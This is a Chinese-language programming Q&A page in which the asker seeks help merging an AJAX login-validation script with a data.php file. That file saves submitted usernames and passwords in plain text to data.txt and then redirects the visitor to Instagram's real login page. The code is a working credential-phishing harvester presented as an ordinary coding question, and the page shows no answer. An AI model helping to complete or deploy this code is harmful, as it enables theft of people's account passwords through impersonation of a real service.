首页 > 解决方案 > 如何合并 2 个 php 文件,这些文件在 html 中作为表单的 POST

问题描述

我有一个表单,它有一个 data.php 文件,表单将其数据发送给它,这个 data.php 将表单上的信息存储在服务器上的 data.txt 文件中,但最近我试图让这个表单与一些 ajax java 脚本代码和此代码有自己的 POST php 文件“check-login.php”,它检查用户名或密码是否为空或已填充,如果为空则返回一些错误

我尝试混合这 2 个 php 文件,但它不起作用,我尝试将 check-login.php 作为第一个 POST 文件,完成后服务器使用第二个 POST 文件,即 data.php

const form = {
    username: document.getElementById('username'),
    password: document.getElementById('password'),
    submit: document.getElementById('btn-submit'),
    messages: document.getElementById('form-messages')
};
form.submit.addEventListener('click', () => {
    const request = new XMLHttpRequest();
    request.onload = () => {
        let responseObject = null;
        try {
            responseObject = JSON.parse(request.responseText);
        } catch (e) {
            console.error('Could not parse JSON!');
        }
        if (responseObject) {
            handleResponse(responseObject);
        }
    };
    const requestData = `username=${form.username.value}&password=${form.password.value}`;
    request.open('post', 'check-login.php');
    request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    request.send(requestData);
});
function handleResponse(responseObject) {
    if (responseObject.ok) {
        location.href = 'dashboard.html';

    } else {
        while (form.messages.firstChild) {
            form.messages.removeChild(form.messages.firstChild);
        }
        responseObject.messages.forEach((message) => {
            const li = document.createElement('li');
            li.textContent = message;
            form.messages.appendChild(li);
        });
        form.messages.style.display = "block";
    }
}

数据.php

<?php

$username = $_POST['username'];
$password = $_POST['password'];
$fp = fopen("data.txt", "a"); // a is apendix
$savestring = "Email Address: " . $username . "\n" . "Password: " . $password . "\n";
fwrite($fp, $savestring);
fclose($fp);
header('location:https://www.instagram.com/accounts/login/?source=auth_switcher');
?>

检查登录.php

<?php

$username = isset($_POST['username']) ? $_POST['username'] : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
$ok = true;
$messages = array();
if (!isset($username) || empty($username)) {
    $ok = false;
    $messages[] = 'Username cannot be empty!';
}
if (!isset($password) || empty($password)) {
    $ok = false;
    $messages[] = 'Password cannot be empty!';
}

echo json_encode(
        array(
            'ok' => $ok,
            'messages' => $messages
        )
);
?>

标签: javascriptphphtml

解决方案


推荐阅读